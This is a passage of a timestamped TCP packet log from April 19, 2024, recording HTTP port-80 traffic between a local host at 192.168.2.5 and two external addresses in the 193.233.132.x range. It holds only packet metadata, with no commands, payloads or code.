Apr 19, 2024 03:29:04.302882910 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302907944 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302920103 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302947998 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.302963018 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.302985907 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303004980 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303025007 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303039074 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303061962 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303075075 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303100109 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303112030 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303138018 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303150892 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303177118 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303188086 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303215027 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303236008 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303252935 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303266048 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303291082 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303298950 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303328991 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303344011 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303366899 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303379059 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303406000 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303416967 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303445101 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303463936 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303483009 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303499937 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303520918 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303531885 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303560019 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303570032 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303597927 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303611040 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303637981 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303651094 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303677082 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303690910 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303714991 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303735018 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303752899 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303765059 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303792953 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303802967 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303833008 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303849936 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303870916 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.303885937 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.303920984 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.310844898 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311078072 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311096907 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311115026 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311134100 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311151028 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311151028 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.311170101 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311180115 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.311189890 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311207056 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311223984 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311242104 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.311249018 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.311269045 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.311296940 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.549257040 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.549570084 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.549607992 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.549669027 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.549724102 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.549732924 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.549804926 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.549843073 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.549870968 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.549913883 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.549958944 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550029993 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550031900 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550071955 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550091028 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550132990 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550205946 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550256968 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550261021 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550296068 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550314903 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550354958 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550370932 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550409079 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550427914 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550455093 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550467014 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550508022 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550550938 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550596952 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550615072 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550647020 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550666094 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550704956 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550715923 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550745964 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550754070 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.550884962 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550925016 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.550964117 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551065922 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551083088 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551121950 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551141977 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551161051 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551184893 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551208973 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551281929 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551321983 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551343918 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551371098 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551436901 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551482916 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551492929 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551537037 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551579952 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551618099 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551630974 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551665068 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551668882 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551707029 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551726103 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551747084 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551764965 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551785946 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551805019 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551825047 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551843882 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551863909 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551883936 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551902056 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551913023 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551943064 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551955938 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.551983118 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.551999092 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552021980 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552037954 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552061081 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552071095 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552119017 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552120924 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552158117 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552171946 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552198887 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552217960 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552239895 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552253962 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552278042 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552297115 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552316904 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552331924 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552355051 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552378893 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552391052 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552407980 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552432060 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552448034 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552469969 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552484989 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552506924 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552525997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552544117 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552561998 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552582026 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552591085 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552625895 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552634954 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552664042 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552678108 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552702904 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552712917 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552741051 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552753925 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552778959 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552800894 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552812099 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552819967 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552838087 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552859068 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552896976 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552920103 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552933931 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.552964926 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.552972078 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553010941 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553011894 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553036928 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553047895 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553060055 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553086996 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553100109 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553124905 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553136110 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553163052 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553174019 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553200960 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553210974 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553239107 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553251028 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553277969 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553289890 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553316116 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553327084 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553354025 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553368092 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553392887 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553402901 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553431034 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553446054 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553469896 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553488970 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553509951 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553522110 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553548098 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553561926 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553586006 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553596973 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553623915 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553634882 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553666115 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553670883 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553704023 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553724051 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553742886 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553751945 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553781033 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553793907 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553819895 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553839922 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553858042 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553870916 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553898096 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553915977 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553935051 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553950071 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.553972960 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.553992033 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554011106 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554023981 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554049015 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554056883 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554086924 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554095030 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554125071 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554136038 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554162979 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554174900 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554218054 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554223061 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554260015 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554279089 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554300070 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554310083 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554338932 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554348946 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554375887 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554397106 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554414034 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554431915 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554450989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554465055 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554488897 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554510117 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554546118 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554630995 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554670095 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.554682970 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554708958 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.554723024 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.554749012 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.554764986 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.554786921 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.554810047 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.554826975 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.554841042 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.554866076 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.554877043 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.554904938 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.554915905 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.554944992 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.554951906 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.554985046 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.554992914 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555025101 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555042982 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555068970 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555080891 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555108070 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555119038 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555147886 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555157900 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555186033 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555197954 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555227041 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555236101 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555267096 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555274963 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555306911 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555320978 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555346012 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555360079 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555383921 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555393934 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555424929 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555433035 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555466890 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:04.555474043 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.555515051 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:04.802591085 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.802654982 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.802695036 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.802735090 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.802763939 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.802774906 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.802814960 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.802818060 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.802845001 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.802853107 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.802880049 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.802891016 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:04.802903891 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:04.802989006 CEST	80	49714	193.233.132.56	192.168.2.5
